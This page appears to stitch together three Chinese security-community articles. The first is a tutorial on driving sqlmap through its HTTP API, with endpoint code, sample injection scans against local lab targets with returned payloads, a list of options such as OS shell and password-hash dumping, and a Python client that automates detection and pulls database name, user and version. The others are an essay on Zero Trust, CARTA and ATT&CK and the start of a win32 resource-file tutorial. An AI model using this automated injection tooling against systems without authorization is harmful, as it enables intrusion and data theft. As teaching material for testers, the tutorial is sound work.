? ? ? ? if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr:
? ? ? ? ? ? DataStore.tasks[key].engine_kill()
? ? ? ? ? ? del DataStore.tasks[key]
? ? logger.debug("(%s) Flushed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr))
? ? return jsonize({"success": True})
下图是调用该接口的截图：
#### @get("/option//list")
该接口可获取特定任务ID的列表选项，调用时请指定taskid，不然会出现问题。 具体代码如下：
def option_list(taskid):
? ? """
? ? List options for a certain task ID
? ? """
? ? if taskid not in DataStore.tasks:
? ? ? ? logger.warning("[%s] Invalid task ID provided to option_list()" % taskid)
? ? ? ? return jsonize({"success": False, "message": "Invalid task ID"})
? ? logger.debug("(%s) Listed task options" % taskid)
? ? return jsonize({"success": True, "options": DataStore.tasks[taskid].get_options()})
下图是调用该接口的截图：
#### @post("/option//get")
该接口可获取特定任务ID的选项值，调用时请指定taskid，不然会出现问题。 具体代码如下：
def option_get(taskid):
? ? """
? ? Get value of option(s) for a certain task ID
? ? """
? ? if taskid not in DataStore.tasks:
? ? ? ? logger.warning("[%s] Invalid task ID provided to option_get()" % taskid)
? ? ? ? return jsonize({"success": False, "message": "Invalid task ID"})
? ? options = request.json or []
? ? results = {}
? ? for option in options:
? ? ? ? if option in DataStore.tasks[taskid].options:
? ? ? ? ? ? results[option] = DataStore.tasks[taskid].options[option]
? ? ? ? else:
? ? ? ? ? ? logger.debug("(%s) Requested value for unknown option '%s'" % (taskid, option))
? ? ? ? ? ? return jsonize({"success": False, "message": "Unknown option '%s'" % option})
? ? logger.debug("(%s) Retrieved values for option(s) '%s'" % (taskid, ",".join(options)))
? ? return jsonize({"success": True, "options": results})
下图是调用该接口的截图：
#### @post("/option//set")
该接口为特定任务 ID 设置选项值，调用时请指定 taskid，不然会出现问题。 具体代码如下：
def option_set(taskid):
? ? """
? ? Set value of option(s) for a certain task ID
? ? """
? ? if taskid not in DataStore.tasks:
? ? ? ? logger.warning("[%s] Invalid task ID provided to option_set()" % taskid)
? ? ? ? return jsonize({"success": False, "message": "Invalid task ID"})
? ? if request.json is None:
? ? ? ? logger.warning("[%s] Invalid JSON options provided to option_set()" % taskid)
? ? ? ? return jsonize({"success": False, "message": "Invalid JSON options"})
? ? for option, value in request.json.items():
? ? ? ? DataStore.tasks[taskid].set_option(option, value)
? ? logger.debug("(%s) Requested to set options" % taskid)
? ? return jsonize({"success": True})
下图是调用该接口的截图：
#### @post("/scan//start")
该接口定义开始扫描特定任务，调用时请指定 taskid，不然会出现问题。 具体代码如下:
def scan_start(taskid):
? ? """
? ? Launch a scan
? ? """
? ? if taskid not in DataStore.tasks:
? ? ? ? logger.warning("[%s] Invalid task ID provided to scan_start()" % taskid)
? ? ? ? return jsonize({"success": False, "message": "Invalid task ID"})
? ? if request.json is None:
? ? ? ? logger.warning("[%s] Invalid JSON options provided to scan_start()" % taskid)
? ? ? ? return jsonize({"success": False, "message": "Invalid JSON options"})
? ? # Initialize sqlmap engine's options with user's provided options, if any
? ? for option, value in request.json.items():
? ? ? ? DataStore.tasks[taskid].set_option(option, value)
? ? # Launch sqlmap engine in a separate process
? ? DataStore.tasks[taskid].engine_start()
? ? logger.debug("(%s) Started scan" % taskid)
? ? return jsonize({"success": True, "engineid": DataStore.tasks[taskid].engine_get_id()})
下图是调用该接口的截图：
#### @get("/scan//stop")
该接口定义停止扫描特定任务，调用时请指定 taskid，不然会出现问题。 具体代码如下：
def scan_stop(taskid):
? ? """
? ? Stop a scan
? ? """
? ? if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()):
? ? ? ? logger.warning("[%s] Invalid task ID provided to scan_stop()" % taskid)
? ? ? ? return jsonize({"success": False, "message": "Invalid task ID"})
? ? DataStore.tasks[taskid].engine_stop()
? ? logger.debug("(%s) Stopped scan" % taskid)
? ? return jsonize({"success": True})
下图是调用该接口的截图：
#### @get("/scan//kill")
该接口可杀死特定任务，需要指定 taskid，不然会出现问题。 具体代码如下：
def scan_kill(taskid):
? ? """
? ? Kill a scan
? ? """
? ? if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()):
? ? ? ? logger.warning("[%s] Invalid task ID provided to scan_kill()" % taskid)
? ? ? ? return jsonize({"success": False, "message": "Invalid task ID"})
? ? DataStore.tasks[taskid].engine_kill()
? ? logger.debug("(%s) Killed scan" % taskid)
? ? return jsonize({"success": True})
#### @get("/scan//status")
该接口可查询扫描状态，调用时请指定 taskid，不然会出现问题。 具体代码如下：
def scan_status(taskid):
? ? """
? ? Returns status of a scan
? ? """
? ? if taskid not in DataStore.tasks:
? ? ? ? logger.warning("[%s] Invalid task ID provided to scan_status()" % taskid)
? ? ? ? return jsonize({"success": False, "message": "Invalid task ID"})
? ? if DataStore.tasks[taskid].engine_process() is None:
? ? ? ? status = "not running"
? ? else:
? ? ? ? status = "terminated" if DataStore.tasks[taskid].engine_has_terminated() is True else "running"
? ? logger.debug("(%s) Retrieved scan status" % taskid)
? ? return jsonize({
? ? ? ? "success": True,
? ? ? ? "status": status,
? ? ? ? "returncode": DataStore.tasks[taskid].engine_get_returncode()
? ? })
下图是调用该接口的截图：
#### @get("/scan//data")
该接口可获得到扫描结果，调用时请指定 taskid，不然会出现问题。 具体代码如下：
def scan_data(taskid):
? ? """
? ? Retrieve the data of a scan
? ? """
? ? json_data_message = list()
? ? json_errors_message = list()
? ? if taskid not in DataStore.tasks:
? ? ? ? logger.warning("[%s] Invalid task ID provided to scan_data()" % taskid)
? ? ? ? return jsonize({"success": False, "message": "Invalid task ID"})
? ? # Read all data from the IPC database for the taskid
? ? for status, content_type, value in DataStore.current_db.execute("SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)):
? ? ? ? json_data_message.append({"status": status, "type": content_type, "value": dejsonize(value)})
? ? # Read all error messages from the IPC database
? ? for error in DataStore.current_db.execute("SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)):
? ? ? ? json_errors_message.append(error)
? ? logger.debug("(%s) Retrieved scan data and error messages" % taskid)
? ? return jsonize({"success": True, "data": json_data_message, "error": json_errors_message})
下图是调用该接口的截图：
存在 SQL 注入的返回结果，返回的内容包括 payload、数据库类型等等。
不存在注入的返回结果
#### @get("/scan//log")
/@get("/scan//log//")
该接口可查询特定任务的扫描的日志，调用时请指定 taskid，不然会出现问题。 具体代码如下：
def scan_log(taskid):
? ? """
? ? Retrieve the log messages
? ? """
? ? json_log_messages = list()
? ? if taskid not in DataStore.tasks:
? ? ? ? logger.warning("[%s] Invalid task ID provided to scan_log()" % taskid)
? ? ? ? return jsonize({"success": False, "message": "Invalid task ID"})
? ? # Read all log messages from the IPC database
? ? for time_, level, message in DataStore.current_db.execute("SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)):
? ? ? ? json_log_messages.append({"time": time_, "level": level, "message": message})
? ? logger.debug("(%s) Retrieved scan log messages" % taskid)
? ? return jsonize({"success": True, "log": json_log_messages})
def scan_log_limited(taskid, start, end):
? ? """
? ? Retrieve a subset of log messages
? ? """
? ? json_log_messages = list()
? ? if taskid not in DataStore.tasks:
? ? ? ? logger.warning("[%s] Invalid task ID provided to scan_log_limited()" % taskid)
? ? ? ? return jsonize({"success": False, "message": "Invalid task ID"})
? ? if not start.isdigit() or not end.isdigit() or end < start:
? ? ? ? logger.warning("[%s] Invalid start or end value provided to scan_log_limited()" % taskid)
? ? ? ? return jsonize({"success": False, "message": "Invalid start or end value, must be digits"})
? ? start = max(1, int(start))
? ? end = max(1, int(end))
? ? # Read a subset of log messages from the IPC database
? ? for time_, level, message in DataStore.current_db.execute("SELECT time, level, message FROM logs WHERE taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC", (taskid, start, end)):
? ? ? ? json_log_messages.append({"time": time_, "level": level, "message": message})
? ? logger.debug("(%s) Retrieved scan log messages subset" % taskid)
? ? return jsonize({"success": True, "log": json_log_messages})
下图是调用该接口的截图：
#### @get("/download///")
下载服务端指定任务的文件。 具体代码如下：
def download(taskid, target, filename):
? ? """
? ? Download a certain file from the file system
? ? """
? ? if taskid not in DataStore.tasks:
? ? ? ? logger.warning("[%s] Invalid task ID provided to download()" % taskid)
? ? ? ? return jsonize({"success": False, "message": "Invalid task ID"})
? ? path = os.path.abspath(os.path.join(paths.SQLMAP_OUTPUT_PATH, target, filename))
? ? # Prevent file path traversal
? ? if not path.startswith(paths.SQLMAP_OUTPUT_PATH):
? ? ? ? logger.warning("[%s] Forbidden path (%s)" % (taskid, target))
? ? ? ? return jsonize({"success": False, "message": "Forbidden path"})
? ? if os.path.isfile(path):
? ? ? ? logger.debug("(%s) Retrieved content of file %s" % (taskid, target))
? ? ? ? with open(path, 'rb') as inf:
? ? ? ? ? ? file_content = inf.read()
? ? ? ? return jsonize({"success": True, "file": base64encode(file_content)})
? ? else:
? ? ? ? logger.warning("[%s] File does not exist %s" % (taskid, target))
? ? ? ? return jsonize({"success": False, "message": "File does not exist"})
看完了以上的接口代码，我相信您一定会使用了吧，那么下面就通过一个 sql 注入来演示该模式接口下检测 sql 注入的流程。
#### 准备
使用该模式接口需要用到 python 的两个库文件，一个是 requests 库，一个是 json 库。
下图是导入库的操作：
#### 检测 GET 型注入
下面是完整的一次 API 接口访问，"从创建任务 ID，到发送扫描指令，再到查询扫描状态，最后查询结果”的过程。
具体输入输出代码如下：
>>> r = requests.get("http://127.0.0.1:8775/task/new") 创建一个新的扫描任务
>>> r.json()
{'taskid': 'c87dbb00644ed7b7', 'success': True} 获取响应的返回内容
>>> r = requests.post('http://127.0.0.1:8775/scan/c87dbb00644ed7b7/start', data=json.dumps({'url':'http://192.168.1.104/sql-labs/Less-2/?id=1'}), headers={'Content-Type':'application/json'}) 开启一个扫描任务
>>> r = requests.get("http://127.0.0.1:8775/scan/c87dbb00644ed7b7/status") 查询任务的扫描状态
>>> r.json()
{'status': 'terminated', 'returncode': 0, 'success': True}
>>> r = requests.get("http://127.0.0.1:8775/scan/c87dbb00644ed7b7/data")
获取扫描的结果
>>> r.json()
{'data': [{'status': 1, 'type': 0, 'value': {'url': 'http://192.168.1.104:80/sql-labs/Less-2/', 'query': 'id=1', 'data': None}}, {'status': 1, 'type': 1, 'value': [{'dbms': 'MySQL', 'suffix': '', 'clause': [1, 8, 9], 'notes': [], 'ptype': 1, 'dbms_version': ['>= 5.0'], 'prefix': '', 'place': 'GET', 'data': {'1': {'comment': '', 'matchRatio': 0.957, 'title': 'AND boolean-based blind - WHERE or HAVING clause', 'trueCode': 200, 'templatePayload': None, 'vector': 'AND [INFERENCE]', 'falseCode': 200, 'where': 1, 'payload': 'id=1 AND 8693=8693'}..., 'success': True, 'error': []}
可能您会被最后返回的结果好奇，ptype、suffix、clause等等都是什么意思呢？ 下面我给出部分字段的含义：
#### 检测 POST注入、COOKIE、UA等注入
检测 POST 注入和检测 GET 注入类似，但是还是有一定区别的，与 GET 注入检测区别如下，流程上是一样的，不同的是开启扫描任务的时候，多提交一个
data 字段。
requests.post('http://127.0.0.1:8775/scan/cb9c4b4e4f1996b5/start', data=json.dumps({'url':'http://192.168.1.104/sql/sql/post.php','data':'keyword=1'}), headers={'Content-Type':'application/json'})
下面是一次完整的 POST 注入检测过程
具体输入输出代码如下：
>>> r = requests.get("http://127.0.0.1:8775/task/new")
>>> r.json()
{'taskid': 'cb9c4b4e4f1996b5', 'success': True}
>>> r = requests.post('http://127.0.0.1:8775/scan/cb9c4b4e4f1996b5/start', data=json.dumps({'url':'http://192.168.1.104/sql/sql/post.php','data':'keyword=1'}), headers={'Content-Type':'application/json'})
>>> r.json()
{'engineid': 9682, 'success': True}
>>> r = requests.get("http://127.0.0.1:8775/scan/cb9c4b4e4f1996b5/status")
>>> r.json()
{'status': 'terminated', 'returncode': 0, 'success': True}
>>> r = requests.get("http://127.0.0.1:8775/scan/cb9c4b4e4f1996b5/data")
>>> r.json()
{'data': [{'status': 1, 'type': 0, 'value': {'url': 'http://192.168.1.104:80/sql/sql/post.php', 'query': None, 'data': 'keyword=1'}}, {'status': 1, 'type': 1, 'value': [{'dbms': 'MySQL', 'suffix': '', 'clause': [1, 8, 9], 'notes': [], 'ptype': 1, 'dbms_version': ['>= 5.0.12'], 'prefix': '', 'place': 'POST', 'os': None, 'conf': {'code': None, 'string': 'Title=FiveAourThe??', 'notString': None, 'titles': None, 'regexp': None, 'textOnly': None, 'optimize': None}, 'parameter': 'keyword', 'data': {'1': {'comment': '', 'matchRatio': 0.863, 'trueCode': 200, 'title': 'AND boolean-based blind - WHERE or HAVING clause', 'templatePayload': None, 'vector': 'AND [INFERENCE]', 'falseCode': 200, 'where': 1, 'payload': 'keyword=1 AND 3424=3424'}...], 'success': True, 'error': []}
那么如何检测 COOKIE 注入、UA 注入这些呢？下面笔者将列出 api 接口可接收的所有字段，若要检测 COOKIE
注入的话，我们只要在`@post("/scan/<taskid>/start")`接口中，传入 cookie 字段；若要检测 referer
注入的话，我们只要在`@post("/scan/<taskid>/start")`接口中，传入 referer 字段。
若要从注入点中获取数据库的版本、数据库的用户名这些，只要在`@post("/scan/<taskid>/start")`接口中，传入 getBanner
字段，并设置为 True，传入 getUsers 字段，并设置为 True。
crawlDepth: None
osShell: False
getUsers: False
getPasswordHashes: False
excludeSysDbs: True
ignoreTimeouts: False
regData: None
fileDest: None
prefix: None
code: None
googlePage: 1
skip: None
query: None
randomAgent: False
osPwn: False
authType: None
safeUrl: None
requestFile: None
predictOutput: False
wizard: False
stopFail: False
forms: False
uChar: None
secondReq: None
taskid: 630f50607ebf91dc
pivotColumn: None
preprocess: None
dropSetCookie: False
smart: False
paramExclude: None
risk: 1
sqlFile: None
rParam: None
getCurrentUser: False
notString: None
getRoles: False
getPrivileges: False
testParameter: None
tbl: None
charset: None
trafficFile: None
osSmb: False
level: 1
dnsDomain: None
outputDir: None
skipWaf: False
timeout: 30
firstChar: None
torPort: None
getComments: False
binaryFields: None
checkTor: False
commonTables: False
direct: None
tmpPath: None
titles: False
getSchema: False
identifyWaf: False
paramDel: None
safeReqFile: None
regKey: None
murphyRate: None
limitStart: None
crawlExclude: None
flushSession: False
loadCookies: None
csvDel: ,
offline: False
method: None
tmpDir: None
fileWrite: None
disablePrecon: False
osBof: False
testSkip: None
invalidLogical: False
getCurrentDb: False
hexConvert: False
proxyFile: None
answers: None
host: None
dependencies: False
cookie: None
proxy: None
updateAll: False
regType: None
repair: False
optimize: False
limitStop: None
search: False
shLib: None
uFrom: None
noCast: False
testFilter: None
ignoreCode: None
eta: False
csrfToken: None
threads: 1
logFile: None
os: None
col: None
skipStatic: False
proxyCred: None
verbose: 1
isDba: False
encoding: None
privEsc: False
forceDns: False
getAll: False
api: True
url: http://10.20.40.95/sql-labs/Less-4/?id=1
invalidBignum: False
regexp: None
getDbs: False
freshQueries: False
uCols: None
smokeTest: False
udfInject: False
invalidString: False
tor: False
forceSSL: False
beep: False
noEscape: False
configFile: None
scope: None
authFile: None
torType: SOCKS5
regVal: None
dummy: False
checkInternet: False
safePost: None
safeFreq: None
skipUrlEncode: False
referer: None
liveTest: False
retries: 3
extensiveFp: False
dumpTable: False
getColumns: False
batch: True
purge: False
headers: None
authCred: None
osCmd: None
suffix: None
dbmsCred: None
regDel: False
chunked: False
sitemapUrl: None
timeSec: 5
msfPath: None
dumpAll: False
fileRead: None
getHostname: False
sessionFile: None
disableColoring: True
getTables: False
listTampers: False
agent: None
webRoot: None
exclude: None
lastChar: None
string: None
dbms: None
dumpWhere: None
tamper: None
ignoreRedirects: False
hpp: False
runCase: None
delay: 0
evalCode: None
cleanup: False
csrfUrl: None
secondUrl: None
getBanner: False
profile: False
regRead: False
bulkFile: None
db: None
dumpFormat: CSV
alert: None
harFile: None
nullConnection: False
user: None
parseErrors: False
getCount: False
data: None
regAdd: False
ignoreProxy: False
database: /tmp/sqlmapipc-lI97N8
mobile: False
googleDork: None
saveConfig: None
sqlShell: False
tech: BEUSTQ
textOnly: False
cookieDel: None
commonColumns: False
keepAlive: False
#### 总结
基于 HTTP 的接口模式用起来可能比较繁琐，但是对于程序调用接口还是很友善的。总之该模式的流程是：
1、通过GET请求 <http://ip:port>/task/new 这个地址，创建一个新的扫描任务；
2、通过POST请求 <http://ip:port>/scan//start 地址，并通过json格式提交参数，开启一个扫描；通过GET请求
<http://ip:port/>scan//status 地址，即可获取指定的taskid的扫描状态。这个返回值分为两种，一种是 run
状态（扫描未完成），一种是 terminated 状态（扫描完成）；
3、扫描完成后获取扫描的结果。
# 使用 Python3 编写 sqlmapapi 调用程序
下面就来编写一个 sqlmapapi 调用程序，首先我们得再次明确一下流程：
1、通过 sqlmapapi.py -s -H "0.0.0.0" 开启sqlmap
api的服务端。服务端启动后，在服务端命令行中会返回一个随机的admin
token值，这个token值用于管理taskid（获取、清空操作），在这个流程中不需要amin
token这个值，可以忽略。之后，服务端会处于一个等待客户端的状态。
2、通过GET请求 <http://ip:port>/task/new
这个地址，即可创建一个新的扫描任务，在响应中会返回一个随机的taskid。这个taskid在这个流程中尤为重要，因此需要通过变量存储下来，方便后面程序的调用。
3、通过POST请求 <http://ip:port>/scan//start
地址，并通过json格式提交参数(待扫描的HTTP数据包、若存在注入是否获取当前数据库用户名)，即可开启一个扫描任务，该请求会返回一个enginedid。
4、通过GET请求 <http://ip:port/>scan//status
地址，即可获取指定的taskid的扫描状态。这个返回值分为两种，一种是run状态（扫描未完成），一种是terminated状态（扫描完成）。
5、判断扫描状态，如果扫描未完成，再次请求 <http://ip:port/>scan//status 地址 ，直到扫描完成。
6、扫描完成后获取扫描的结果，是否是SQL注入，若不存在SQL注入，data字段为空，若存在SQL注入，则会返回数据库类型、payload等等。
明确了流程后，为了可维护性好和 main.py 文件代码量少，笔者首先是写了一个类，代码如下：
#!/usr/bin/python
# -*- coding:utf-8 -*- # wirter:En_dust
import requests
import json
import time
class Client():
def __init__(self,server_ip,server_port,admin_token="",taskid="",filepath=None):
self.server = "http://" + server_ip + ":" + server_port
self.admin_token = admin_token
self.taskid = taskid
self.filepath = ""
self.status = ""
self.scan_start_time = ""
self.scan_end_time = ""
self.engineid=""
self.headers = {'Content-Type': 'application/json'}
def create_new_task(self):
'''创建一个新的任务，创建成功返回taskid'''
r = requests.get("%s/task/new"%(self.server))
self.taskid = r.json()['taskid']
if self.taskid != "":
return self.taskid
else:
print("创建任务失败!")
return None
def set_task_options(self,url):
'''设置任务扫描的url等'''
self.filepath = url
def start_target_scan(self,url):
'''开始扫描的方法,成功开启扫描返回True，开始扫描失败返回False'''
r = requests.post(self.server + '/scan/' + self.taskid + '/start',
data=json.dumps({'url':url,'getCurrentUser':True,'getBanner':True,'getCurrentDb':True}),
headers=self.headers)
if r.json()['success']:
self.scan_start_time = time.time()
#print(r.json())
#print(r.json()['engineid'])
return r.json()['engineid']
else:
#print(r.json())
return None
def get_scan_status(self):
'''获取扫描状态的方法,扫描完成返回True，正在扫描返回False'''
self.status = json.loads(requests.get(self.server + '/scan/' + self.taskid + '/status').text)['status']
if self.status == 'terminated':
self.scan_end_time = time.time()
#print("扫描完成!")
return True
elif self.status == 'running':
#print("Running")
return False
else:
#print("未知错误！")
self.status = False
def get_result(self):
'''获取扫描结果的方法，存在SQL注入返回payload和注入类型等，不存在SQL注入返回空'''
if(self.status):
r = requests.get(self.server + '/scan/' + self.taskid + '/data')
if (r.json()['data']):
return r.json()['data']
else:
return None
def get_all_task_list(self):
'''获取所有任务列表'''
r = requests.get(self.server + '/admin/' + self.admin_token + "/list")
if r.json()['success']:
#print(r.json()['tasks'])
return r.json()['tasks']
else:
return None
def del_a_task(self,taskid):
'''删除一个任务'''
r = requests.get(self.server + '/task/' + taskid + '/delete')
if r.json()['success']:
return True
else:
return False
def stop_a_scan(self,taskid):
'''停止一个扫描任务'''
r = requests.get(self.server + '/scan/' + taskid + '/stop')
if r.json()['success']:
return True
else:
return False
def flush_all_tasks(self):
'''清空所有任务'''
r =requests.get(self.server + '/admin/' + self.admin_token + "/flush")
if r.json()['success']:
return True
else:
return False
def get_scan_log(self):
'''获取log'''
r = requests.get(self.server + '/scan/' + self.taskid + '/log')
return r.json()
main.py
#!/usr/bin/python
# -*- coding:utf-8 -*- # wirter:En_dust
from Service import Client
import time
from threading import Thread
def main():
'''实例化Client对象时需要传递sqlmap api 服务端的ip、port、admin_token和HTTP包的绝对路径'''
print("————————————————Start Working！—————————————————")
target = input("url:")
task1 = Thread(target=set_start_get_result,args=(target,))
task1.start()
def time_deal(mytime):
first_deal_time = time.localtime(mytime)
second_deal_time = time.strftime("%Y-%m-%d %H:%M:%S", first_deal_time)
return second_deal_time
def set_start_get_result(url):
#/home/cheng/Desktop/sqldump/1.txt
current_taskid = my_scan.create_new_task()
print("taskid: " + str(current_taskid))
my_scan.set_task_options(url=url)
print("扫描id:" + str(my_scan.start_target_scan(url=url)))
print("扫描开始时间：" + str(time_deal(my_scan.scan_start_time)))
while True:
if my_scan.get_scan_status() == True:
print(my_scan.get_result())
print("当前数据库:" + str(my_scan.get_result()[-1]['value']))
print("当前数据库用户名:" + str(my_scan.get_result()[-2]['value']))
print("数据库版本:" + str(my_scan.get_result()[-3]['value']))
print("扫描结束时间：" + str(time_deal(my_scan.scan_end_time)))
print("扫描日志：\n" + str(my_scan.get_scan_log()))
break
if __name__ == '__main__':
my_scan = Client("127.0.0.1", "8775", "c88927c30abb1ef6ea78cb81ac7ac6b0")
main()
Github 地址：<https://github.com/FiveAourThe/sqlmap_api_demo>
* * * | 社区文章 |
# 细述最具影响力的三大安全架构：零信任、ATT&CK、自适应安全
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
随着安全的快速发展，为应对和解决各种安全问题，各权威机构以及相关专家提出了很多安全架构，它们对安全发展都具有重大意义。但是，如果一定从中选出几个对当今安全发展影响最大的安全架构，笔者会选择Gartner提出的Adaptive
Security Architecture模型（CARTA属于自适应架构3.0）、Forrester提出的Zero
Trust模型及MITRE的ATT&CK框架。
Zero Trust和Adaptive Security
Architecture是前几年一直火热的理论模型，ATT&CK则是最近一年国内信息安全圈最火热的一个新名词了。相信安全从业人员对于这几个概念或多或少都有了一定的了解，笔者今天想要重点谈一下这三者之间的一些关系。
先说下自适应安全3.0阶段的CARTA模型（持续自适应风险与信任评估），这是自适应安全架构演进后形成的一个概念。CARTA所强调的对风险和信任的评估分析，与传统安全方案采用allow或deny的简单处置方式完全不同，CARTA是通过持续监控和审计来判断安全状况的，强调没有绝对的安全和100%的信任，寻求一种0和1之间的风险与信任的平衡。
那么这三个理论框架之间有什么关系呢？笔者认为要实现CARTA，第一步就是零信任，首先需要评估安全状况，包括验证用户、验证设备、限制访问和权限，最后是自适应的调整策略。然后，在整个安全过程中，安全状况会随时发生变化，其中最主要就是需要面临各种攻击，因此需要进行持续检测，这个时候ATT&CK框架就是一个很好的安全检测和响应模型。
## 零信任是实现CARTA第一步
为了更好地理解数字时代的信任，需要先了解“Trust”这个词本身的含义。所谓信任，是两个实体之间建立的一个彼此连接关系，这个关系要求彼此能够按照预期的方式做事。在这个过程中，需要监视在彼此交互期间双方是否在约定的预期范围内活动。如果发生风险性的偏差，就需要纠正此类偏差甚至是中断彼此的信任关系。在这里需要强调的是，信任并不是绝对的，而是一个相对的概念，并且是一个动态变化的关系。
在了解了Trust的概念之后，就比较容易了解网络安全概念中所谓的Zero
Trust（零信任）了。零信任网络是指，所有初始安全状态的不同实体之间，不管是企业内部还是外部，都没有可信任的连接。只有对实体、系统和上下文的身份进行评估之后，才能动态扩展对网络功能的最低权限访问。
零信任网络默认使用Deny作为起点。在授予网络访问权限之前，要对实体和设备的身份和信任进行评估。当然，Gartner提出的CARTA模型，已经扩展到了网络之外，包括IT堆栈、风险合规治理流程等方面。在交互过程中不断监视和评估风险和信任级别，如果发现信任下降或风险增加到了阈值，需要进行响应，则应该相应地调整访问策略。
CARTA战略流程
此外，CARTA在战略方法中强调，在交互期间持续监视和评估实体及其行为。在自适应安全架构中，CARTA战略总共包括七个步骤，零信任可以作为其第一步，如下图所示。
CARTA战略的七个步骤
在CARTA的自适应攻击防护架构中，采用的正是零信任策略，如下图右上角红框内容所示。采用零信任架构是防护的第一步，可以很好地应对内部攻击。在建立一定程度的信任连接之前，会对系统进行加固和隔离，所有微隔离的Projects之间都是采用零信任网络连接。而CARTA进一步扩展了零信任的概念，并将攻击防护视为一个持续的风险和信任评估过程，如下图深蓝色部分所示。在图形的中心，CARTA还扩展了网络之外的功能。例如，CARTA在系统上运行时监视可执行代码，以发现恶意行为和风险的迹象，即使它通过了初始风险和信任评估。这就是被称为终端检测和响应的EDR技术。
采用零信任实现自适应攻击防护
同样，在CARTA自适应的访问防护架构中，初始安全状态都是默认deny状态，如下图右上角的红框所示。在对用户的凭据、设备和上下文进行评估之前，用户没有任何访问权限。因此，在建立足够的信任级别之前，不应该授予访问权限。CARTA进一步扩展了零信任的概念，并将访问保护视为一个持续的风险和信任评估问题，如下图的深绿色部分所示。在图形的中心，CARTA还扩展了网络访问之外的功能。例如，CARTA战略方法监视用户的风险行为，即使他们已经通过了初始风险和信任评估，并被授予了对应用程序的访问权。这就是被称为用户和实体行为分析的UEBA。
采用零信任实现自适应访问防护
## ATT&CK是CARTA持续风险评估的保证
CARTA和ATT&CK一样，都非常关注检测和响应部分的实现。而ATT&CK作为入侵分析“钻石”级别的模型，能够增强企业的检测和响应能力。那么，如何根据ATT&CK框架来检查目前安全产品的整体覆盖度，进行全面的差距分析，以及如何将ATT&CK所涵盖的技术点融入到产品中去，这些都是值得大家思考的问题，这也是自适应安全架构最核心的检测和响应部分内容。（建议读者先阅读一下笔者之前的文章《一文看懂ATT&CK框架以及使用场景实例》和《细述MITRE
ATT＆CK框架的实施和使用方式》，对ATT&CK框架的概念、使用场景、以及实施和使用方式先有一个初步的了解，这更有利于理解文本的内容涵义。）
ATT&CK框架核心就是以矩阵形式展现的TTPs，即Tactics, Techniques and
Procedures（战术、技术及步骤），是指攻击者从踩点到获取数据以及这一过程中的每一步是“如何”完成任务的。因此，TTPs也是痛苦金字塔中对防御最有价值的一类IoC。当然这也意味着收集TTPs，并将其应用到网络防御中的难度系数是最高的。而ATT&CK则是有效分析攻击者行为（即TTPs）的威胁分析框架。
Bianco 提出的痛苦金字塔
ATT&CK使用攻击者的视角，比从纯粹的防御角度更容易理解上下文中的行动和潜在对策。对于检测，虽然很多防御模型会向防御者显示警报，但不提供引起警报事件的任何上下文，例如从防御者的视角自上而下地介绍安全目标的CIA模型、侧重于漏洞评级CVSS、主要考虑风险计算的DREAD模型等。这些模型只能形成一个浅层次的参考框架，并没有提供导致这些警报的原因以及与系统或网络上可能发生的其它事件的关系。
而ATT&CK框架提供了对抗行动和信息之间的关系和依存关系，防御者就可以追踪攻击者采取每项行动的动机，并了解这些行动和依存关系。拥有了这些信息之后，安全人员的工作从寻找发生了什么事情，转变为按照ATT&CK框架，将防御策略与攻击者的手册对比，预测会发生什么事情。这正是CARTA所倡导的“预防有助于布置检测和响应措施，检测和响应也有助于预测”。
使用ATT&CK框架来提升检测能力的首要步骤就是对数据源进行盘点。ATT＆CK框架已定义了大约50种不同类型的数据源。对于每个数据源，企业需要对数据质量、数量内容等方面进行管理。可以使用MITRE
ATT＆CK导航工具，按下图所示方式将数据源映射到ATT＆CK技术，进行可视化展示。
数据源可视化示例
其次，对于企业机构来说，知道威胁主体使用了哪些ATT＆CK技术，这一点也至关重要。组织机构可以根据MITRE
ATT＆CK知识库中存在的威胁组织和恶意软件创建热力图。将威胁组织使用的技术与企业的检测或可见性水平进行比较，确定哪些方面可能存在差距，需要改进，从而增强检测和事件响应能力。下图显示了一个基于ATT＆CK中所有威胁组织数据的热力图。热力图中的颜色越深，则表示攻击组织使用该技术的频率就越高。
基于威胁组织的热力图
例如，某些ATT＆CK技术与自身组织机构相关。那么，组织机构就可以将其与当前的检测状态进行直观比较，确定在ATT＆CK技术方面可能存在的差距或改进之处。
将威胁主体攻击技术与企业的检测结果进行比较
最后，基于上述分析，以ATT＆CK框架为基础实现检测方案的可视化，然后对检测方案进行评分（如下图所示），管理检测和响应方案。
显示检测方案分数的热力图示例
## 写在最后写在最后
Zero
Trust和ATT&CK架构都是从攻击者的视角出发看问题，颠覆了传统上的纯粹防御安全观念，与CARTA倡导的安全人员应该通过理解上下文和持续风险评估来灵活调整安全策略的理念有诸多异曲同工之处。
鉴于在安全领域，防御者始终处于一个敌暗我明的天生劣势，因此，安全人员应该采用零信任的态度，并主动提高安全检测能力，才是根本之策。CARTA蓝图可以帮助大家实现这一目标，而Zero
Trust和ATT&CK框架则是成功落实该理念的关键保障。 | 社区文章 |
# 深入理解win32（四）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在上一节中我们对子窗口和在od中如何定位消息处理函数进行了探究，在这一节里面我们来看一下资源文件和如何在od中定位对话框的回调函数。
## 资源文件创建对话框
何为资源文件？看一下msdn的解释
> 术语 “资源 文件”可以指多种文件类型，例如：
> 程序的资源脚本 (.rc) 文件。
> 资源模板 (.rct) 文件。
> 作为独立文件存在的单个资源。 此类型包括从 .rc 文件引用的位图、图标或游标文件。
> 由开发环境生成的头文件。 此类型 Resource.h 包括 .rc 文件中引用的 。
> 在其他文件类型（如 .exe、.dll 和 .res 文件）中找到的资源称为 资源。
> 可以在项目中使用资源文件和资源。 还可以处理不是当前项目一部分或在项目开发环境外部创建的Visual Studio。 例如，可以：
> 使用嵌套的条件包含资源文件。
> 更新现有资源或将其转换为Visual C++。
> 从当前资源文件中导入图形资源或向其导出图形资源。
> 包含不能由开发环境修改的共享或只读标识符（符号）。
